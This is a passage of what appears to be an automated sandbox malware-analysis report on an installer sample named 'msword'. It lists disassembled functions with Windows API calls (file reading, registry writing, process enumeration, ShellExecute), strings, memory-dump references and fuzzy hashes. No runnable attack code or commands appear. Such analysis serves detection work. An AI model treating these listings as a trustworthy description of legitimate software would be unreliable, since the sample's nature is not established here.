                                  • GetDlgItem.USER32(?,000003FB), ref: 00404553
                                  • GetAsyncKeyState.USER32(00000010), ref: 0040455A
                                  • GetDlgItem.USER32(?,000003F0), ref: 0040456F
                                  • ShowWindow.USER32(00000000,00000008,?,00000008,000000E0), ref: 00404580
                                  • SetWindowTextW.USER32(?,?), ref: 004045AF
                                  • SHBrowseForFolderW.SHELL32(?), ref: 00404669
                                  • lstrcmpiW.KERNEL32(0046E220,00451D98,00000000,?,?), ref: 004046A6
                                  • lstrcatW.KERNEL32(?,0046E220), ref: 004046B2
                                  • SetDlgItemTextW.USER32(?,000003FB,?), ref: 004046C2
                                  • CoTaskMemFree.OLE32(00000000), ref: 00404674
                                    • Part of subcall function 00405CB0: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403FAD), ref: 00405CC3
                                    • Part of subcall function 00406064: CharNextW.USER32(?,*?|<>/":,00000000,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060C7
                                    • Part of subcall function 00406064: CharNextW.USER32(?,?,?,00000000), ref: 004060D6
                                    • Part of subcall function 00406064: CharNextW.USER32(?,004E30C8,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060DB
                                    • Part of subcall function 00406064: CharPrevW.USER32(?,?,004CF0A0,004E30C8,00000000,00403804,004E30C8,-00000002,00403A37), ref: 004060EF
                                    • Part of subcall function 00403EA0: lstrcatW.KERNEL32(00000000,00000000,00476240,004D30A8,install.log,00405AC8,004D30A8,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006), ref: 00403EBB
                                  • GetDiskFreeSpaceW.KERNEL32(0044DD90,?,?,0000040F,?,0044DD90,0044DD90,?,00000000,0044DD90,?,?,000003FB,?), ref: 00404785
                                  • MulDiv.KERNEL32(?,0000040F,00000400), ref: 004047A0
                                    • Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,004283D1,74DF23A0,00000000), ref: 00406902
                                  • SetDlgItemTextW.USER32(00000000,00000400,0040A264), ref: 00404819
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: Item$CharText$Next$FreeWindowlstrcat$AsyncBrowseButtonCheckedDiskFolderPrevShowSpaceStateTaskVersionlstrcmpi
                                  • String ID: F$A
                                  • API String ID: 3347642858-1281894373
                                  • Opcode ID: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
                                  • Instruction ID: 610cab7253faed09e83e35c18a41c8795a2522a57bd741f73bb79fe4ae4f2c97
                                  • Opcode Fuzzy Hash: daaa1e0cefc3b075cc9d96c46cb806b6c5f306674e01b7aa8aee38c956bc084c
                                  • Instruction Fuzzy Hash: A3B181B1900209BBDB11AFA1CC85AAF7BB8EF45315F10843BFA05B72D1D77C9A418B59
                                  Function 00406EFE Relevance: 30.0, APIs: 14, Strings: 3, Instructions: 270filestringCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 00406F22
                                  • ReadFile.KERNEL32(00000000,?,0000000C,?,00000000), ref: 00406F5C
                                  • ReadFile.KERNEL32(?,?,00000010,?,00000000), ref: 00406FD5
                                  • lstrcpynA.KERNEL32(?,?,00000005), ref: 00406FE1
                                  • lstrcmpA.KERNEL32(name,?), ref: 00406FF3
                                  • CloseHandle.KERNEL32(?), ref: 00407212
                                    • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                    • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: File$Read$CloseCreateHandlelstrcmplstrcpynlstrlenwvsprintf
                                  • String ID: %s: failed opening file "%s"$GetTTFNameString$name
                                  • API String ID: 1916479912-1189179171
                                  • Opcode ID: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
                                  • Instruction ID: 0b41acfa2c3272d6dc61f6848418d9961a63ce1f0aee58dce5ac99f5834af97b
                                  • Opcode Fuzzy Hash: f010b36bd41cc349b356d7a0090dd4afe09556d9e36f72f9254c82778cae22fc
                                  • Instruction Fuzzy Hash: 8491CB70D1412DAADF05EBE5C9908FEBBBAEF58301F00406AF592F7290E2385A05DB75
                                  Function 00406831 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212stringCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,004283D1,74DF23A0,00000000), ref: 00406902
                                  • GetSystemDirectoryW.KERNEL32(0046E220,00002004), ref: 00406984
                                    • Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042
                                  • GetWindowsDirectoryW.KERNEL32(0046E220,00002004), ref: 00406997
                                  • lstrcatW.KERNEL32(0046E220,\Microsoft\Internet Explorer\Quick Launch), ref: 00406A11
                                  • lstrlenW.KERNEL32(0046E220,00445D80,?,00000000,00404FD5,00445D80,00000000,004283D1,74DF23A0,00000000), ref: 00406A73
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
                                  • String ID: F$ F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
                                  • API String ID: 3581403547-1792361021
                                  • Opcode ID: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
                                  • Instruction ID: 94ababd57b57874809535cfc920d07d17cc92350817822ff6505e5e4c02fddf3
                                  • Opcode Fuzzy Hash: 30c92c856c733ebf4e786737c731cc744bbcb1db4e86cdf6d89c5ce8018e8b94
                                  • Instruction Fuzzy Hash: 9E71D6B1A00112ABDF20AF69CC44A7A3775AB55314F12C13BE907B66E0E73C89A1DB59
                                  Function 004024FB Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 133comCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CoCreateInstance.OLE32(0040AC30,?,00000001,0040AC10,?), ref: 0040257E
                                  Strings
                                  • CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d, xrefs: 00402560
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: CreateInstance
                                  • String ID: CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d
                                  • API String ID: 542301482-1377821865
                                  • Opcode ID: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
                                  • Instruction ID: 17e7a05f0d3b91d3be5025a92c0a08315d4604efbe7233a371b14ee5b096337f
                                  • Opcode Fuzzy Hash: 9902ece9f4b99e682490ae7949af093cffc61241cd73b0ba5a249ab4bbcbe8c9
                                  • Instruction Fuzzy Hash: 9E416E74A00205BFCB04EFA0CC99EAE7B79EF48314B20456AF915EB3D1C679A941CB54
                                  Function 004079A2 Relevance: .3, Instructions: 347COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
                                  • Instruction ID: f621f802e1b16f1afd83cb625a9a5dfb13386b99c5f5a138cca70abed5397206
                                  • Opcode Fuzzy Hash: 944ebb341680e93427b3a15fa59e4bc843c1d174164c9a0c79530ba1c2ca476e
                                  • Instruction Fuzzy Hash: CEE17A71D04218DFCF14CF94D980AAEBBB1AF45301F1981ABEC55AF286D738AA41CF95
                                  Function 0040737E Relevance: .3, Instructions: 303COMMON
                                  Download Yara Rule
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID:
                                  • String ID:
                                  • API String ID:
                                  • Opcode ID: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
                                  • Instruction ID: 563abc6a1943806f9f153a5c0538de096a4a033458f435c3a5efc50f2cd88ab2
                                  • Opcode Fuzzy Hash: 1b88eb350fd00fb33316d24ceb9d72a370f105b0c57197cf1d2e0f134c7777fe
                                  • Instruction Fuzzy Hash: 67C16831A042598FCF18CF68C9805ED7BA2FF89314F25862AED56A7384E335BC45CB85
                                  Function 004063D8 Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 004063EB
                                  • lstrlenW.KERNEL32(?), ref: 004063F8
                                  • GetVersionExW.KERNEL32(?), ref: 00406456
                                    • Part of subcall function 00406057: CharUpperW.USER32(?,0040642D,?), ref: 0040605D
                                  • LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00406495
                                  • GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 004064B4
                                  • GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 004064BE
                                  • GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 004064C9
                                  • FreeLibrary.KERNEL32(00000000), ref: 00406500
                                  • GlobalFree.KERNEL32(?), ref: 00406509
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
                                  • String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
                                  • API String ID: 20674999-2124804629
                                  • Opcode ID: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
                                  • Instruction ID: cf04814c2eceeca0522e3a2239a4cfb7588c45c97b625e8eb28f179f7b3afb0e
                                  • Opcode Fuzzy Hash: e76717bc544e744264c82aeaea2435e5936e7e477e24acbe68bbbba6ce647f5a
                                  • Instruction Fuzzy Hash: D3919371900219EBDF119FA4CD88AAEBBB8EF04705F11807AE906F7191DB788E51CF59
                                  Function 004040E4 Relevance: 40.5, APIs: 20, Strings: 3, Instructions: 210windowstringCOMMON
                                  Download Yara Rule
                                  APIs
                                  • CheckDlgButton.USER32(?,-0000040A,00000001), ref: 00404199
                                  • GetDlgItem.USER32(?,000003E8), ref: 004041AD
                                  • SendMessageW.USER32(00000000,0000045B,00000001,00000000), ref: 004041CA
                                  • GetSysColor.USER32(?), ref: 004041DB
                                  • SendMessageW.USER32(00000000,00000443,00000000,?), ref: 004041E9
                                  • SendMessageW.USER32(00000000,00000445,00000000,04010000), ref: 004041F7
                                  • lstrlenW.KERNEL32(?), ref: 00404202
                                  • SendMessageW.USER32(00000000,00000435,00000000,00000000), ref: 0040420F
                                  • SendMessageW.USER32(00000000,00000449,00000110,00000110), ref: 0040421E
                                    • Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,?,?,00000000,00404150,?), ref: 0040400D
                                    • Part of subcall function 00403FF6: GlobalAlloc.KERNEL32(00000040,00000001,?,?,?,00000000,00404150,?), ref: 0040401C
                                    • Part of subcall function 00403FF6: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000001,00000000,00000000,?,?,00000000,00404150,?), ref: 00404030
                                  • GetDlgItem.USER32(?,0000040A), ref: 00404276
                                  • SendMessageW.USER32(00000000), ref: 0040427D
                                  • GetDlgItem.USER32(?,000003E8), ref: 004042AA
                                  • SendMessageW.USER32(00000000,0000044B,00000000,?), ref: 004042ED
                                  • LoadCursorW.USER32(00000000,00007F02), ref: 004042FB
                                  • SetCursor.USER32(00000000), ref: 004042FE
                                  • ShellExecuteW.SHELL32(0000070B,open,0046E220,00000000,00000000,00000001), ref: 00404313
                                  • LoadCursorW.USER32(00000000,00007F00), ref: 0040431F
                                  • SetCursor.USER32(00000000), ref: 00404322
                                  • SendMessageW.USER32(00000111,00000001,00000000), ref: 00404351
                                  • SendMessageW.USER32(00000010,00000000,00000000), ref: 00404363
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: MessageSend$Cursor$Item$ByteCharLoadMultiWide$AllocButtonCheckColorExecuteGlobalShelllstrlen
                                  • String ID: F$N$open
                                  • API String ID: 3928313111-1104729357
                                  • Opcode ID: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
                                  • Instruction ID: b74f7aac3d4bcd21dc7a54326fe4aeb8052e912a1eb6d084c2fa05dc76f75ebb
                                  • Opcode Fuzzy Hash: 9e9e703d48f6c54e41068c493ebacbd9c251cecf858f8a13bd715780d6f12025
                                  • Instruction Fuzzy Hash: 5D71B5F1A00209BFDB109F65DD45EAA7B78FB44305F00853AFA05B62E1C778AD91CB99
                                  Function 00406AC5 Relevance: 35.2, APIs: 15, Strings: 5, Instructions: 163filestringmemoryCOMMON
                                  Download Yara Rule
                                  APIs
                                  • lstrcpyW.KERNEL32(00465E20,NUL,?,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AD5
                                  • CloseHandle.KERNEL32(00000000,000000F1,00000000,00000001,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA,?,00000000,000000F1,?), ref: 00406AF4
                                  • GetShortPathNameW.KERNEL32(000000F1,00465E20,00000400), ref: 00406AFD
                                    • Part of subcall function 00405DE2: lstrlenA.KERNEL32(00000000,?,00000000,00000000,?,00000000,00406BFF,00000000,[Rename]), ref: 00405DF2
                                    • Part of subcall function 00405DE2: lstrlenA.KERNEL32(?,?,00000000,00406BFF,00000000,[Rename]), ref: 00405E24
                                  • GetShortPathNameW.KERNEL32(000000F1,0046B478,00000400), ref: 00406B1E
                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,00465E20,000000FF,00466620,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B47
                                  • WideCharToMultiByte.KERNEL32(00000000,00000000,0046B478,000000FF,00466C70,00000400,00000000,00000000,?,00000000,?,00406CBC,000000F1,000000F1,00000001,00406EDA), ref: 00406B5F
                                  • wsprintfA.USER32 ref: 00406B79
                                  • GetFileSize.KERNEL32(00000000,00000000,0046B478,C0000000,00000004,0046B478,?,?,00000000,000000F1,?), ref: 00406BB1
                                  • GlobalAlloc.KERNEL32(00000040,0000000A), ref: 00406BC0
                                  • ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 00406BDC
                                  • lstrcpyA.KERNEL32(00000000,[Rename],00000000,[Rename]), ref: 00406C0C
                                  • SetFilePointer.KERNEL32(?,00000000,00000000,00000000,?,00467070,00000000,-0000000A,0040A87C,00000000,[Rename]), ref: 00406C63
                                    • Part of subcall function 00405E7C: GetFileAttributesW.KERNELBASE(00000003,004035F3,004EB0D8,80000000,00000003,?,?,?,00000000,00403A73,?), ref: 00405E80
                                    • Part of subcall function 00405E7C: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A73,?), ref: 00405EA2
                                  • WriteFile.KERNEL32(?,00000000,?,?,00000000), ref: 00406C77
                                  • GlobalFree.KERNEL32(00000000), ref: 00406C7E
                                  • CloseHandle.KERNEL32(?), ref: 00406C88
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: File$ByteCharCloseGlobalHandleMultiNamePathShortWidelstrcpylstrlen$AllocAttributesCreateFreePointerReadSizeWritewsprintf
                                  • String ID: ^F$%s=%s$NUL$[Rename]$plF
                                  • API String ID: 565278875-3368763019
                                  • Opcode ID: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
                                  • Instruction ID: 187392fb1a539ff374a899d42f74550c270b9899c721d3c7d9f4fe98b52eb23c
                                  • Opcode Fuzzy Hash: 8d6a48264c4b44e6e847a38bbc5540ed6369e357cae48dbe616f47649f698452
                                  • Instruction Fuzzy Hash: F2414B322082197FE7206B61DD4CE6F3E6CDF4A758B12013AF586F21D1D6399C10867E
                                  Function 00401000 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 127COMMON
                                  Download Yara Rule
                                  APIs
                                  • DefWindowProcW.USER32(?,00000046,?,?), ref: 0040102C
                                  • BeginPaint.USER32(?,?), ref: 00401047
                                  • GetClientRect.USER32(?,?), ref: 0040105B
                                  • CreateBrushIndirect.GDI32(00000000), ref: 004010D8
                                  • FillRect.USER32(00000000,?,00000000), ref: 004010ED
                                  • DeleteObject.GDI32(?), ref: 004010F6
                                  • CreateFontIndirectW.GDI32(?), ref: 0040110E
                                  • SetBkMode.GDI32(00000000,00000001), ref: 0040112F
                                  • SetTextColor.GDI32(00000000,000000FF), ref: 00401139
                                  • SelectObject.GDI32(00000000,?), ref: 00401149
                                  • DrawTextW.USER32(00000000,00476AA0,000000FF,00000010,00000820), ref: 0040115F
                                  • SelectObject.GDI32(00000000,00000000), ref: 00401169
                                  • DeleteObject.GDI32(?), ref: 0040116E
                                  • EndPaint.USER32(?,?), ref: 00401177
                                  Strings
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000040C000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000420000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.0000000000434000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999551018.000000000046B000.00000004.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999661181.0000000000500000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  Joe Sandbox IDA Plugin
                                  • Snapshot File: hcaresult_15_2_400000_msword.jbxd
                                  Similarity
                                  • API ID: Object$CreateDeleteIndirectPaintRectSelectText$BeginBrushClientColorDrawFillFontModeProcWindow
                                  • String ID: F
                                  • API String ID: 941294808-1304234792
                                  • Opcode ID: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
                                  • Instruction ID: 3a901b8e11bd10f40e8c3d59bf329074d7a31f92ad936af625f7db958ebfa50f
                                  • Opcode Fuzzy Hash: 2efc14ad74cb110e0ad817299842ebea0c3d587f520aff37d9c167bf14942bce
                                  • Instruction Fuzzy Hash: BF518772800209AFCF05CF95DD459AFBBB9FF45315F00802AF952AA1A1C738EA50DFA4
                                  Function 00402880 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 131registrystringCOMMON
                                  Download Yara Rule
                                  APIs
                                  • RegCreateKeyExW.ADVAPI32(?,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004028DA
                                  • lstrlenW.KERNEL32(004140F8,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004028FD
                                  • RegSetValueExW.ADVAPI32(?,?,?,?,004140F8,?,?,?,?,?,?,?,?,00000011,00000002), ref: 004029BC
                                  • RegCloseKey.ADVAPI32(?), ref: 004029E4
                                    • Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
                                    • Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3
                                  Strings
                                  • WriteRegStr: "%s\%s" "%s"="%s", xrefs: 00402918
                                  • WriteRegExpandStr: "%s\%s" "%s"="%s", xrefs: 0040292A
                                  • WriteRegDWORD: "%s\%s" "%s"="0x%08x", xrefs: 00402959
                                  • WriteReg: error creating key "%s\%s", xrefs: 004029F5
                                  • WriteReg: error writing into "%s\%s" "%s", xrefs: 004029D4
                                  • WriteRegBin: "%s\%s" "%s"="%s", xrefs: 004029A1
                                  Memory Dump Source
                                  • Source File: 0000000F.00000002.1999513934.0000000000401000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00400000, based on PE: true
                                  • Associated: 0000000F.00000002.1999493364.0000000000400000.00000002.00000001.01000000.0000000C.sdmpDownload File
                                  • Associated: 0000000F.00000002.1999531805.0000000000409000.00000002.00000001.01000000.0000000C.sdmpDownload File
